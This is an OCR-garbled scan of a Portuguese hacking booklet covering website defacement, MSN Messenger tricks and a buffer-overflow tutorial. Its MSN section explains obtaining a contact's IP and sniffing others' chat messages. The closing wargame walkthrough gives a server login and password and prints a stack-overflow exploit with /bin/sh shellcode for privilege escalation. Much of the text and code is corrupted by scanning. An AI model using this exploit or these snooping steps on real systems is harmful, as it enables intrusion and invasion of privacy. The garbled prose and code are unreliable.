Você está na página 1de 75

,.

Ii

. .

..

'"

EDIIYORA

TER'RA' ", :'.'

'. ','.' '_ .

, .~. "

,,",

Edltor: Plavte Tarnega, Alex~ndre Ariu::ta ~. Uy ju nto Redatores: Th·ia.g_o· ouza

Cap-a: ... , arcus \ iniclus B~rce'io.s Pires

Projeio G1~aflco: Crisuano Prlctnore, Marcr S VinidtlS Barcelos Pires Red1lJ lOI": AJ.exall,d re Art ma

Diag['1l1n~<;;ao: 'NI.irido. G Olii.tah es Gome

Revtsao: C[ess.ia Poha n:;'!J

Copyrighl© 2,00"- por Editora Gnl:fi. 'a, Terra Ltda,

'Iodos os direltos reservados e protegtdos pela le~, 9"6]() d' 19.02,,98·.

Nenhuma parte desta publtcacao podera ser repreduzida au t!N1T1JSliIJidd,a1, sejam quais Iorem os melos empregados: eletromcos. rnecs nlcos, rotognUicos,~ g'faVtl~oes ou quaisquer oUU"Os.

ISBN 85-749 -l70-4

Di _ e tor: J ales jon .or ~t~r[i ns Berges Gerente de Produto: Ca.sSi{) Rodrigues Coordcnadora de ~hn·,ke.ting,: Sim,one Tidies Gerenre Cc)m,' reia]: Anderson Kleber

Logf . tlca: Romualdo Bra n,d:loO

E,1 i tora G"rdfi,ca Te rra Ltda, Dhdsao Comercial

Av" Cat~p6 ~ 7 58 ~ S~'[O'r r, an ta Gene-lie, "a, CEP: 7'4672~,40() - G·o:Dfli'l:'Lia.=GOI - Brasil Tel.: (62) 4005-9000 - Fax;, as,2) 101- ]666 Televtnd.as: (62) ·4'005~9090

E~ mail: [ed~c:llJo@edHorater]"a_,c om .1,,[" Home P:a,,gc:; 'Ii¥\\lw.ed'j,t('}~~llena,C()ln,br

"

01 efao "e' , m" ," en i l' '1'

j~ .. ' .~ . .. • J g 'l_!!! III • III • [II • I. II' ,Ii i··£ 3, ! ! •• 1 •• r'lI II 'il i Ii S 'I! ! II!! • tI! • lib • m i Ii 3' !II i!" ••••• !i i ir. i . !II 'i!! Ii!! ••• I •• Iii Iii i ,iI !I 'Ii !! 'fI • [II _I • [II] • ~! i

Ca'pftu~o 2 ,~, Tru ,'~' ues dig MS'NI

l' Gua r'l.-!is',' , ,'> Llsta d ,,' 'G"'~ ontatos '17".'

_ <!!l ."_-: .J I ·U:.:··_F ,a. ~ ", ·_.'e ," ::... UI~ySJ tii"!il!i·!J!I!!!!!I ••• r.[IIilmilrio~!I'~'!'.II! ••••• iiiiiiiili!!!!! ••••••• i'iiil!<!i!! _.

2. Pular 'urns llinha no ,Chat., ..... ~~m.,.,.,.,." .•.••. ~~m~~ ,"',.'., ....• ' •• '.,.',. ,,' , .•• "" •••• " :20

3,': 'C" - n" ve' 'rS"8,' I C" 0' ~mc " A:~' 'I .. ~ m·e:.. I'q' u1e -,' ~ ,''C, 'E~"~a" In",' L"'s*a "2'~,"O':-"'[ .:'._ :01 ,/ -"'.J C, ~,c:_. glUe I ' _"" nao i~H, n8i. 1"I~·I" •• "" .... i."' .. ' .... I -,

II

4·· M·':',· .' =. '-."",- " ~ ,.' .~', F" .,~ 8-:10' sadas :2~,"3':-'1 ,.,_[ensagens, que ,I oram :quea ' .. ' ,' .... ' ... ,., ... ~ .. ~~.,.'''~~ ... , ,,"~.,., .. ,.,., ....... , ... ,:

..

S .. Sabelr sa [Fe,char-slml a 'T[e~a de Chat """'."""'."'m~""U~"""""""""""""'"'' •••• ,28

6. Usa.r Qualqlu91w IE-mail no seu IMS[N .. ", .. i""un~",""""""""""""""'" :24

CSlpitulo 3 ''''' [Hacking[ MSNI

0- d U" ~. 2-

1. bter 0 IIP<' e' um .Jsuarlo .'.iU"' •••••• ' •• i -ee ·~.'., i"" .,',., '.,", ";)[7

'2-:: A"··lt· ",' . ,- F' a:' .... N" ao 1······[11..-., ["'- -a" '." he -·.U '2~'!9':

,'.';. _eralr" a 1- r ~se' ". re've~e SUe s'en [a ""~",,, .' .. ".,',. a .•• " ,," ,,' . :.

C M' 3"1

3 .. I apturar :''t ensaqens '"',", ",.,',. e e e .'.'." "" ' •••• ,., ••••••••••••••• , ••••••• ' ••• ~. : .. :._

C,a,plitUilol ,~, "" Buffelr Overfl,ow

1 Um ~x':'le' m "p[=[il,Q. die' ~V·'··" lJ~ln= era hll-'I"'da' d Q, 3~'~,

'Ill _." L..:., __ . J 1- ","J" .: II ~gl .,u .~., .. '_". !IW iiii!iI!!'L"I.[IIIIIIIJ[lI!II!II1~iP.i!!i'I~I~'~·!!l~,!!'iI;.I."I.I!IIIIII!l11ilj'!i'i'~'~'!!!!!'!! ..:___ U

2 .. SOIUy80 .. """.'.'."~'"'''''''''''''' .' .. '., +.+. •••••• ,', ,~ '"'.,.'''''''.,~".,.,.,',.,.,', ••••• ,37

IP lr"iOV[B 1 a .' ' .. '. '" . ~ . "' . '" . " , ", .. ,."' ' '. ,," .. ' .. '. , '. , ' .. , .. , ' ,' ~ " , .. , . , .. , .. ",. ' .. ' .. 411

P rova 11 . '" . , i " • " •• , •• ' •• 'f • , rio " ' '" • '" • '. i '. i' ' •• ' •••• ' • ~ i .' ~ , ' •• ' ,4.7 .

• [ • II III • !II i' i ti' i 'Ii j, i i' i 'Ii !I' !i !I' !i ill i!! 'Il !II 'Il !!I' " ~I !!II ~ •• iii • ~I • [II • [II • [. • • • • III • III • [II • II !II • ril i tr. II

52

IPi ro"va 11 2 ' .. '. ' .. ' , .' . ' .. ' .

. ' .. 5S

P rov a 1 4 . ~ . ' .. ' , ~ , , m , , " , ~ , " ,

• il i til i Ii! i iii j, i lil'i ii' i Ii> i <Ii i iti i 'Ii iii 'II! !I 'II! !l1 !Ii III I! [II I! ill !II ~ ~I!!II ~I!!II [~II • I!I. [II •• III. [!l •• [II ..... [II •• III

..

C• •• ·:IA.·: ...

. -'. .

- -

II

,..

'-E' I comur ~[, OU_ irraos sobre invasoes hacke-rs I, .m servidores web ~

I -muitss vezes nao acontece nada no site, somente e encontrado si~gtnn aviso de a] rta ou mesmo 0 hacker envia Un1 e-mail parra .0 admintsrrador, este ,e urn ataque hacker que nio visa. prejudicar 1". sceiros,

Outra pnl1i,ca, COmU111 e Q defacement, a "arte" de desfigurar urn, site,

• m'" • • ._1 '" ~ b ~,-

mvasores maw C[OSQ,S invaoem um servxrorwe "e estragam, gerallm,ente,~

a pragfoa principal N ~o exlste 'MU" to nexo, pois, na maioria das vezes, OS ;" nvaseres n_ao conhecem 0 seu alvo, lazeln '5S0 so ,pa:ra. demonsrrar [()r~a e acabam prejudicando pessoas e em presas,

:Pa:m Sf proteger de ataques desse tipo, a melhor maneira ' ' ter m servido: seguro, nso deixar brechas e "UN,CA dtvulgsr senhas, to baslco, Vasculhe sempre 0' 5fU servidor arras de falhas de seguranca Van1..'5 a urn exemplo simples:

[ xiste uma f~dh3 de seguranca no modulo My __ ,eGa te-y no P ,'p

'N 'II. f: d' ~ t d H_ ~1.:.,

',liIl!K,e~ quem taz uso : esse scnpt . eve resuzar €Ste procecnmento para

ll- [OJ ficar vulnerav ,'~:

. .

.-

ii

:~,nC'[tl!de C",$,[tQsepathlpubi'i di::J11ogeF''Lumctioi1S. php ~J); 'include (t< $aamb'lpath(fi feF'uncti.on ~ "pllp");.

para:

fnc I uch~' Cl"/:~~omels eru.s;i,it,ehN'l>V'~v/m D,lul eslMy _c'Gcd I,e i~ylpubJ i ct h?1D_geF'uJ1cUonS·I'h.p!]) ;

• 'JI., • .1 (niL~,_a ... 1 'iI-"...} •. J.J' ~l ,,,,,Il\ A G' U/h~ ~F . ,L. "")~'

lOCl'UUle ," I n(.hriQ;SeUS I.!.t/ W\<VW, m:o.(J[..I~e:Wl vi)' J . a~ .!ery~J ~~ UI',} , l~ UJn!S •. pnl" ,

'Em ataques con fi:~'};aUdlades, desse tipo, 0 principal alvo sao os servidores web 5' em s guida, :[aU,as die programacao e acesso a senhas, as ataques sao fei 1:051 na maioria cbs. vezes l' Jar' gru pas de crakers e nao par so. U.'IDa pessoa, que ,guardanl as pag~nas 'desmanteladas" en, 'In"'ITOfS, (espelhos) para, que. outras pessoas possam ver seu trabalho mesmo quando 0 servidor invadido j. . esdver sern problemas. Acesse, na Web., alguns desses . I 1i1,1!}QTS e entenda >0 qU,lf acontece:

hupdlat.:trition"org

h.llp.:Jlwww.:lione .. h.orglcle[aoedl2003l02J08Idel.lrs5 .. com.br/ http://YIW'Vlblacl{hat .tn fOIl ive/

h up :JIwww.tud,eynews.neUHacked hitlp·:/lhyst,e:ria. sl<111.3i.ckedl http://W\V1N.hac.kzone.ruJ

Mos.traretnos) a. segutr, urn site antes do ataque e depots, perceba a dtferencs:

----- - -- - ---- - - -- --- ------

IS D N.~". .~r -.L·IU .... ~ ....... ',.0+4., ....... -. I

...

• - ••• L -. ~I ~_~1 _

U"!IcaH..

~-.-~~I ... !Vo'!..:...I .....

11_ -! ~ ~ F

il]:IIY ~Ii.;!n. :~"",fIl.!l ~ 'P'iMi~J~ ~ u,jI

Il! I 'i\1iI1fiiI

'''1 ...

'y..rtl!ll!il!l ~~j}I!~"", !!i11."Mill'I~"'-" .JI~luimrlqi'

.fI.

11~r'.I.h"- plr.11II l;.:r.LrI'iHl'Il;

·lIl.jtlll"!! of-:I!oh-IJ .. ~.~r-='r- .....

I IIi,oI ... ~ iII.lI......,d. ..... fIT 11.&.""""

. ~.£; .J ri.,....~1 ,,,,·4,q.t!,

sse e: 0 site de uma revista checa, Urn ataque ·OCO'rTeU e111 jan -lro de 2000 e colocou como 'pigina p-rincipal a mforma .. ,ao de que 0 site, estaria at venda, nao bastando, tnforma Oi[]. tambem 0 e-mail de; um functonano da revtsta Essa if! uma caractensuca dos defacers" sempre atacare m e detxar uma mensagem i rOnic.a.

. ~

CAPt

·:UT"L,O··'······

. __:___. .;1 •••••

2

..

:1"R-'··U:_ ['

• • I J . II

. ..

/£5

leAl '"'

..

IC" . omo ja e percebido, 0 M.5N Messenger t 0 'jnsta~ mes enger

...... 'lnais utilizado no mornento, passando ,a_ Frenre de seu maier

rival, 0 ICQ 'as, com a fan a,,~vieram O'S problemas, assim como no

ICQ~ ja exis tern di versas tecnicas de ataque pelo MSN. Neue capitulo e no, proximo, abordaremos esse , ema e mos tnr emos C:OD1.o ;ElIJgCl11JJ us hackers e, sabendo 0' que ocorre, como tentar ficar rnais esperto corn esses ataq ues remotes.

Aqui voce conhece alguns truques U'E!' podem parecer simples Ina podem re ajudar 'em algumas suuacees, Confira,

1- G:--'u~'rd- @!!Ii'fa L- ~Ista-· " de ,C' 'Intl' .\Ii"lidIcAiD

• '", I _ g , : r g' !,' r. ,,' . I' ,. . I. '., '_ - .. I _.,IV'iJi

Existe Ulna op~ao no MS~-' Messenger que pOllens conhecem, e t bern 11 til ~ por exernp 0 j se criarmes urns. con a nova e q uisermos transferir todos as contatos de uma au tra con ta. Para i5S0, voce deve proceder da segui nte maneira:

a ao rn en II C onUilo e sec 1 ha Sa Iva f J i ((:I de co'n tai es .. " I~

A po . es - a a~ao, sera rmazenado urn a:rqu i vo co ill LOdes seus coma os e nderecos,

Para recuperar altsta de contato na outra conra, basta abrtr a con a e, entao ~ acessar 0 menu Con,tatos e escofher 1111POlt"ta. r "anta~os ,de U'l'll ,u~'u,fvQ scif.VQ, .•

VI -, !iiVm~ t," 'f; eft 'I - r ,- - :-)R, m _fH !fiNIiI'MJ!!I'D7 '

;,

Pronto I A lista de conratos ja esta transferida,

"'t IP'lu-lla" r um-- '8'-:; L:-.n"hG no C"-Jhal'

~~ -, -- I. "~ '~ . !Q ,_,'_ _ _ ,I .c: ~



3,~ Conlversar eem Alguem qu~e ne,C) IEsta ~ _8 lL:iista

Para converser com uma pessoa sern precisar adiciona-la a sua ltsta, proceda desta manei ra:

,

-

mSll. - MeS!H:H'I,er .. net

"lliII.ra Ie···· .. ".. IIU • ''''iii'

~. ~ KE, R !I ,'ft II· 'U~,

Na tela. que surge, clique rsa aba OUU"O.s e digrnle o e-mail da pessoa.

Nao se esqueca de que ·0 e-mail deve estar inscrito no PC"Gspo!rt ... NEI

I F1lSir.:1l 0 endefi!;;o de emell do!l pe;s~!!, " ri:ll1l'.a1 ";;Iooe d.e~i!t!! 'I!invi~fI t r:na! mefb~~ern ind.amalflea\,

IDb$e~v·I!C·io: C~t$al pes:s:.oar deve h!f urna cilnia do .NET F"aS::SlX),r!. e rum OGll'lflpblItadCilf com 0 1M e.*s~g;gi·

"i'fIS:~ ~do..

10K

4 Me- ,n" ·S· ··21·'· 'iI'1~n" '8"-:-· q. 11I~:·-\e-: F-o.·::: ra,:'~ m B~o'q: 1J11B~das.\

!Ii! . .. . .. i.~ . .__ II ~, _

Se alguem 0 colo car na lists de contatos b~,iaquead,ns e voce qutser envisralgume mensasem a orimeira coisa e tirar essa ne5S03 de sua!

---~- !....._ 1'_'-1 "I'·· .. 1 ,. -'·0 ~',iI.~"" "" .. -' _". _,.,.1__ .'--~,r'.". .

Itsta. 0' proximo passe e alterar 0. sell l,icl~ para a, mensagem que 'vnce

- .

quer enviar e, por 'u'mUmo) volte a cadastrar essa pessoa.

Mesmo assim, voce a:inda, na(~ conseguira enviar mensagens para esse eontato, mas, logo ,que, ¥oae cenectar, aparecera urna janelmha

"k ~d .

com ,0 seu me , ,~, que, na 'Verua~-,e" e :1 mensagem que voce: qUE:l' enviar,

Mas 'po'l"q,ue tivemos que descadastrar este contato? Somente pam

oel .. ,,,",. "I

Que so e e e rnais mnguern V15Sif 0 seu 'DU::, .(.

5. ,S.aber se Fec,liIaram a Tela de Clhal:

Para SaJ ber se a pessoa COIn. quem esta conversando fe-chou a eela dee chat, proceda da segmme maneira,

I

Na ela q),ue voce "_ , "-, converse do, chame Uln n . 01 parudpante.

Caso apareca, nessa tela i a ~nformaCio de que a P ssoa que estava converse 'do com 'V,oc[f nalo (01 adtctonada, si,gnmca, De a tela estava fechada,

01

FI ~o T 6MG fI: Ol:r oi

[6\~ Us~_r[ Qualq Jer E ... mail n[o sa-I II'· ·IN

~ - 1 se tet un1a conta no MS _,' , nao e necessari : crlar IJr:ll e-mail no

Horruail ou MSN'! 'voce: po de uul tzar qua]: uer endereco. Basta ir ao site: W)Vl;V"passpo rt, co',, n e segu lr as tnstrucees,

c

.

I

.

lLO

.'

3

.

,

" .'

Ii

J\ gora que voce ja conheceu a,ID,guns bruqU:f!5 do MS: .... j e bora de r-1sabe1L~ 0 .. ' ue realrnente os hackers podem fazer q,' ando estao conectados e conversando c rn algu"e,m no messenger, alem de saber como se protegee em alguns casas

'1" Olbter o! liP de lim Usuario,

Aqut, mnstrare I os como conseguiro IP de, Ulna maquina u'titjjzando somente 0 MS '.,' Messenger, sem ter nenhum add-on. A man dra mats facil e voce pedir 'para que a pessoa envie urn arqurn.vo para ''IlOC1e IOU,~ entao, que voce envie urn arquivo para essie usuario, gerab1Ll,ente 0 hacker in yen a urna boa. descnlpa, SfJU que se erie suspetta ..

o process 0, c eve ser felto enquanto 0 arqu i \1'0 esta send 0' , wiado por tsso, e '~, on', ni,Q envier arquivos muito pequenos, pois a transfe:rencia, sera mutto rapida, Faca o teste:

1" Abra um chat com urn. contato Se'U, no MSN e inicie normalmente a conve:arsa ..

FI",,\lio TemEIJg;-Q diz~ Oll!ll Mftrnio

f'1tb'i1U T8fll,Bg;~ dill tuI 0. b191iTi1 cm'O'j' FlI!IMll 'fmne9~ dlZ,

~~ e$'[Q!;II OOii'il 10 ~'LIivo ~llIifI' 'Vl:!IC; me pedilJ. EJO$i$~' te eiiif!.lim1 M6~c;.o oi~

~il'1')J

~~ Edt&': ~. f!t«~16 ,.~ 8JS .~

lFl~o T IJ:tl og& en ...... !:!:

~

'" '.- U!o I~.i_ip ("eli\'! It:B>

hQWl"l~AM.iiiidiim&~1 ~, .. I QmcelAl: ~Aj~t·Ql'

"

..

3,. Ag:ora~, abra 0. prompt do, DOS e dtgite 0 comando 'netstat -=a" A parecera uma sene de Ips de servidores, mas nao sera dificir~ encontrar .Q IP' do S\J!U amigo, Pam, que MO' apare~a,1 mntras mfonnacees, 'DiD al 'ra mats progra,nu~s alem do P'I'Opri'Q chat do MSN. P:aginas Web, pro,g,ralu;as. P2P' podem atrapalhar na hora ds busca do IP correto,

Nao Sf esqueca de qu,e voce nso pode estar alms de urn :6rewaDl nem o seu contato,

z, ~:, Jterar a Fi~se "N,aol revel esua senlh,81'"

Ern algumas versoes do MSN Messenger sempre ao iniciar urn quadro de comuntcacso corn outra pessoa, aparece os dizeres: 'Nao revele sua senha. .. , voce pede alterar essa frase, deixando da maneira que desejar, ou mesmo retira-Ia, Para ~SSO'l proceda da segutn e manetra:

- -- -

n:lI!:iI!::C!ll,~ el!F '. -

~ ,

- -- -

DloIlnl! CiI AOOle de Wl PfC¥'ema~ pMt doGurMfItO _ lrecUl"$;O ,da rrDt. iM e 0 WIil'IdIlJw.J! 0. atifi;6 P!II'8 vacl.

'I'

. ,QIiI::

2. Apes abrlr 0 editor de registros, acesse.liKEYJ.IOCAL~:MACHIN.E' e, depois, 501, -IW:ARE ..

•. t;j Ji(CI,~ __ ·O~~'_ .Q~ ·a~1

~_"';irIil;I~

r.iIitI~,~, ~!choI'

4, ·Veri,6.I~ue se den, ro de. Po'Ud .. es existe 0 arqutvo IM"4.ul1.r.ng" pots II! nel e que sao' gl~a:fdadas as mformacoes que a,," 'a,recerio logo que Iorem iniciadas as telas de chat, Para exclutr essa mensagem, basta apagar esse arqu tvo e. se prefenr mudar a frase, d! UID"n d.u plo cH.q,ue em

WJl "r'n.1 ...... l'~' I ,1.", ---, ", D-" ,;t ' , 'do'" ,.1", , ......... O'CK

UV.A ... ~d ,J1[,'1,g1 anere 0 campo "\tl(J,Os. '_ l!,Ghor e ne :' [".

~[6f~te ume f\ra~e qualqjuef

-----,..----

31. Captulrar Mensa:gens,

I ixistem diversQs programas para. captures de informacces, 0 MS Sn,'~e:r ,e urn aphcativo ·paJ.rn capturer m 'nsa,gens que trafegam em uma rede local, ,e muito utilizado ... or hackers au mesmo bisbtlhoteiros .. N ao e. necessario tee .~ , uito conhectmento tecnico pam utiHz~~,lo~ veja como proceder;



1,. Baixe .0' arqutvo M'SN' Sniffer, dir .• 'to de area de downloads CIa

.. , 1, 1 tnsid b .,. '~I • d

pagrna www.nac cerrnsu te.com, 'T tnstaf ·~o~ ern seguuca, em sua

maqutna, entao, Intcte 0 programa ..

~I!I ~: Bl ~,jj' .. e ~ It:bM erJilli Iil!!ItwoIii<, Mlapt'Clf"$ . '-. h h ~~Ad"'6T

~~ 1'MM1!iUn!i ~W@i';h ~ 1il!Js: Dl!IIIIii ~t~d,.~ v~ CoM try ~ one b)' one. .

3. Para 1!nm,c~ar a capturs das converses, t{Jiq.u.e em. Start Como e UIll programa de; demonstraeao, ele fara a captura semen Ie (las ][5 prtrneiras (~'OnVeI!F s, mas por Ell i se entende como os invasores acessam a privacidade alheta, Para. salvar nm arqutvo de texto, basta clicar em Sa.'v'e' a,

..

CAPt~~.·LO 4 = " :UFF·f.R

i III

O,buffer ov.erH.o~, Qoo'~re quando um'plr.o~,arna au processo tenta armazenar mais dados ern U111 buKer (area de armazenamemo tern poraI'rn:a) do qu e ele realmente S1L1 porta. Q bu [fer if crtado para armazenar as informacoes 3lte urn certc limit,€: ~ 05 dados ex tras. .': U'" tern de ir para algurn lngar, acabam sendo tnsendos (overflow) ern buffers adj acentes, sendo corromptdos ou a:[.f me$,U10 S' brescreven do dados validos. Entretanto, isso so' ocorre acidentalmente IlO£ erros d •. programacao.

o 'buffer overflow e um tipo de ataque que van se tornando muito utilizade por hackers, nesse U:po de ::: .ta·, ue as in lormacoes extras pod m conte ccdigcs designados para alav· ncarem certas acoes, por e'~{ rnplo, dal1Jicar arquivos, alterar dados ou tornar . oublicas inform3J!coes confidenciais .. E muito comum existirern brechas "em, programas fettos em C, par 'LsSO,! se for cor tratar algum programador, busque por alguem com bons conhecimentos de programacao e seguranea,

Em julho de ,1000~ f01 descoberta urna vulnerabtlidade nara esse npo de ataque nOI Microsoft Outlook e Outlook Express. Urna Ialha de. programacao acabou por delxar urna brecha na qual um inva or consegue comprometer a lntegridade dos dados pelo envio de urn e-mail.

- . "

. .-.



Ao cornrario de urn tipico vmis enviado pOl' e-mail no qual 0 usuarlo pr.ecisa abrtr 0 a .qutvo anexado para que, entao, 0 vtrus ;pOS5~1 " e. manlfestar, nesse a' aque, so do usuarto receber a rnensagem, ele ja estara Infectado, tudo por mecanismos de encabecamen 0 de !nensagens, ern que os .1.nVaSORS consegu .. em encher a caixa de entrada corn dados estranhos, dessa maneira, ·e]Ie51, as mvasores, eonseguem executar tun c6dtig,o na maquina .. alvo, Por Isso, a Microsoft cnou urn patch para acertar 'tal falba .

1 .. IUm Exem,pilo ._ e ·Vu1In.erabi'bdade

as hackers geralmente buscam por alguma vulnerabtlidade ern urn sistema remote, ern programas, bugs de configuracao ou mesmo codigos malleito para.. ntao, executar aedes que nao foram planejadas pelo usuan o-alvo.

Vamos mostrar urn exemplo simples de buffer overflow po,r urn prograrna 'em C, acompanhe:

II



1, Baixe 0 arquivo no site www.hackerslab.com.br, acesse at secao de downloads e, entao a fasctculo 05'~ procure pelo arqutvo demo.tar, '. ·;a.o se esqueca de: qu . esse programa d ~e ser executado no '1 tnux!

Nada de Wlndo,w5.

1, Assirn que copu r 0 progranl8., voce deve descompacta-lo pelo comando:

3. Sera criado urn dlret6rio chamado demo nele estarao contldos diversos arqutvos, dernre eles, 0.' rnakefile, 0 pro'prio codigo-fonre desse program.a (demo.c) e mats quatrn arquivos (CiroJi1'ltg"Z ILI~a.in2g.

• ...,1 ··ft· )

z, sen~'tlrnag.z~ aJtu; gart;ln11r1.o.1ffl:g.Z .

4. Agora noterminal, digite o seguinte:

cd demo u1.a.k,e

10 comando cd demo e para acessar 0 dlretorto d erno caso voce esteJ2 urn dtreto to abaixo dele, caso <conn- arto, deve procurer a diretorio e acessa-lo, o comando make rnra a compile Caol ,0 codigo fon ,', (demo ... ).

esse programa foi criado com a intencao de ler um banner (texto) lei I ar utvos corn extenss ',) g ou .h g.z. fazendo com que 0 " xto lido apareca no I ermina em um mtmero cer _0 de vezes, A extensao .img indica que 0 arqurvo esta corrspaetado.

~,'''OiS argumentos, estao os names dos arquivos dos banners sem indicacao da extensso desses arqurvos, Cad nome e orecedldo de urn switch, C01TIO -r seleciona ar uivos comprirnidos (rax )1 ' z pam 05 ourms formatos (padrao) E -n NUM especifica 0 numero de vezes que o banner s, 'nl apresentadc, 0 adrao e 1 vez,

01 pirogrnnn.a. demo.c ' em urn bug buffer overflow; dando 0 cnrnando demo -'WI 3 garounho, voce podera percel er 0 bug, Sua missao e enconrrar ess e bug e, I n tao ~ acerta 0 co digo.

Para ajudar urn pouco na u husca 0' erro esta na rocedure main.

Mans a obral

Nao se esqueca de que p 'fa executar esse 'rograma voce precisa compiler 0 c6digo uultzan .0 UJTI compilador GNU C pam Linux.

~t SOllu.pio

Diflctl de enccntrar a. ,sQrlu~a.o1 Pels e·, o pessoal que preparou este desafio da, a re pOS'I:a! mas antes.; tente desvendar este p rob lerna.

A res I . osta p ode ser enco rada em:

Ii

c,amo' andarn as c.oisas·?' Evoimulu bsstante '110 nosso dessfio?

I Agora acabou a brincadleim,. voce vai ter que se vtrar pm valerl No ultimo fasctculo, avancamos ,a:te a prova 09 ~ passarnos ;M senhas para todos os l'.iVd[s neste can'fitulo vamos dar as dicas alguma atuda

_ • , - • - . -. ~ ,1 . • - . - .'~ , ~.. • ...:_ .:... _ r\1II. '.. l', - • - l • - I!!! - . ' , .•• !Ii . ~ -' . [ :J' '[Ii

'mas na a de senha, voce tera ,~:_e quebrar a cabeca Vaml . s hi!

Acesse 0' servidor pelo telnet d:riUJ~u~'J.lc·kerslab.or-g~ coloque 0 ~og'fun '~.le:vel'9 e, a senha .... bam, a senba Esta, bern j' SOl esta senha: lseeut

10 que acontece quando voce esquece de realtzar 0 "bound checking ~" Dica: letclbof

'.. . ·d

'::_nta,Q vejamos, encontramos uru programa com SUI' 'que

posstvelmente pode fazer urn buffer overflow Se voce nan souber .0 que Ie urn buffer over.t]ow;, aconselho 'let ,0 cap tulo anterior, que pode dar uma boa base sobre 13m assunto '. Para sirup·Wlica.r, dlzemos que 0. buffer overflow ocorre porque em. uma determinada vartavel, ,que nao ,e.sta sendo controlada, entram dados alem da cortta 11 asst Ill" mdo ,0 que es iver a rnais acaba sobrescrevendo .28, pilha (memoria) e acaba pmduztndo a falha 110 sistema. 0 objeuvo e fazer urn programa que aproveite essa fal ha para mserir, nesta parte que se sobrescreve a pilh ~ , uma chamada a urn shel que, eriaremos em urn array em, memoria, de

III

11

. OI'11la que quando 0 programs seja acessado S j,a tambem 'iniciado o 'n0550 shell,

,0 primeiro paS50 e procurar pO'r. arquivos com suid, Pa ra lsso, digi.te, no terminal, 0 seguinte comand _ -: .

. ina I -[J'en11 +400'0 .2>tdev/nuU:

Apare(:em COllDO resposta os arquivos com suid,

- _ -- --

~ ~~!·:!!_:!l.nJfiJ,·1 j I.I .. ;:-n _ _ • :_

Asstm, !)OdeU10s. veriftcar [ados os arqutvos que tenharn essa propriedad ,. Agora, precisamos .: ber quais QU. qual arquivo pode nos levar ao proximo nrve], Para lsso, dtg~te 0 comandc:

Devemos pro tillar pe~o arqulvo que nos remeta do nlvel atual arm o . n roximo mvel, nesre caso, do 1,evld9 para Q level 0, 0 unico que eneontra no com essa ropri.edade e 0 srquivo bo ... Confira:

~mr.S"=~x--- J!e, 11 () leve'_9 921'10'7 Aug 12 l'999IeLc/boJ

Depots de p~ovar 'Va_lios. exploits e fazer testes no sistema, uttlizamos esse arqtwiv,o .. Ewta'ndo este exp'.i,oi' , podemos 'vel1ncar;

#define DEFAULT_OFFSET

#d gine' D·~~:....;B'UFFER_S1Z_ - .defil1. . DEF1\ULJ:....EG[G~S'·-E #ilefin!e NO.fJ·

o 512 2048' Ox90

,CMf" she" ~,code lJ ~

't\ife.b~J~e\x89\xi6\x08\x311 \xC~88\x_46\x07\x:·9tt 6\xO(~bO\ xOb"

~89\YJ]\1c8c~e\:nJ~8'd\x56UrD'c\X":cd\x80\x] 1 \xdb\x89\xd8\l(40\

xcdn

tnt. lnclin {tnt a~c~ dllQr "" a~ (}') {

C:h~nr ~-~IJ'f~ ~-ntl' *;fOU.·'

II .. ~ 1[;1lrMlLjI ]! r ~ ,tt, ~ Oi!::i'

'~Ollg": ~~Jdr' 't1\f~' laddr

I, , UUJ .-.r"J- ~

•. t" .ft;'-, 'iM<, Dire ,AI, i' fl""T O:'IC''C',ere'T '1 ... - . D'c-E1l:"AUU 'ID'UF'IC''C'ID' C:M'Z' .~., 'im,fl IOn,sell:~.f nVLJ,~:I""J:""'I!l,;;. J:,l! II!JStl~ I i!,:.n, ~Dl, i. ')I!..;.n.__Jr, ,1.;"

'I ;. ~ " " .' ,- , ,'nE':c',,iI,UU' '-' ':J:1:G' 'G' SLZ- ',r,;;.

U'1m. 1" le;ggsu~:e=v, ',.w.--:n.1 - '_ ~.', I' ,~~:" ~l

if (argy; :> 1) bs.fZle ~ ,a.t(Jli(,a~ (lJ); ~f (,Ltg£: :> ,2) offset = ato~ (a'rgy'l21); 'if (at:glc >, 3) ~ggsi:ze = atoi (argv (31 );

'if (1 (b'uif = 'm,d ~oc(b.s;i;ze))) {'

-'. -- uec I, - ~'n ",," \,_ ,n) ,

pnJl~"[ , , "a~1. l\. QuOIC'l te :Jl1fmD'ry. VI~ ;

exU(O);

,J

,j.r(.'llf'" " .1'1' .... ,,{ '.' " ","11)"\ ~ I~" • II;,. egg :;;, n'la~wc 'I., Cgg£llZf) ," -' ;~

-' -. ucc: - ,,~, 11'1 "~ ',' --'1 ,,'It .... )J)',,~

pn,n~ 'I;, I ·an L Qu.oca .. e memory. 1iIJ'1- ,;

"",°',;,,101',

e.;(liL \' : ) J

J

,add~'" = g'let ~:n'O .. o·r,;fse:t:

1'-. ~ r 'JJ'~,~

pltin ifC~~ Using address; Ox%~ Vj add'r);

PlF - bu;{~ ID:;

add'l'" _pt r =: QC:Yt],g ·It) .plfr;

.for a ..; 0;' i <: .bs;[ze;' i+=4) * (addr _ptr++) - ladd,t~;.

:nt r = e'uQ':

It' l~

for ('i ~ 0; .~ < legg;S:I:;ze = sf ri[en:{s·n.eUc,oae) = 1~· i++)

*{ptf.++ ) = ,N'OF;

for 0 ~ 0; i -c s:tl";~e1t(shtdkode); i++.) *(pty++) = sheUcodelH;

buff{bsize - 1 J = '.0'; egg{eggsize = IJ' =. '~~~

l11f1'n,py(egg~ ~JE'GG= ,4); pu.tenv Cegg); motlcpy(bu.if: ~"RET-J!'~4);

plt~tefl v (buff);

system C~/b'IH1ba.sh,~") j

J'

Ii

~ __ ' __ "";;;;"" ~'II""! ... iiiiI ... =-=-_, __ .=~.IiII "' __ .= __ .-. .... .' __ I"""l I""" _. __ ~&iI:.:' _ _, ~ II!! 1'!! __ '-"'iiiiII _

Agora, cnmpj'~al110s. com: ,gee ~O oveljlow' GJv.\f,~,l1vW c

Ueve19@clrtll tmp] $ lOlverflow

. .

it 'IIIiII' - ••



, 'eve aparecer como resposta algo C0'11.0:

Using address: Oxb1fJJd78

'Vamos ,3, nossa rnissao, tentar estourar a pill a, Para isso~, devemos execntar 0 arquivu bof peln co mando ,:

let.dboj $RE '

Pod enos veri tear que. aparece um mont de ltxo e, a'QI 'final, t apresen ada a nossa min'[ shell ' Diguando 0 cornando whoamt, ternos a certeza de que jla estQnJ10S com atribu tos do, proximo ruvel, Agora, e' so p egar a senha COin o comando pass.

va I I

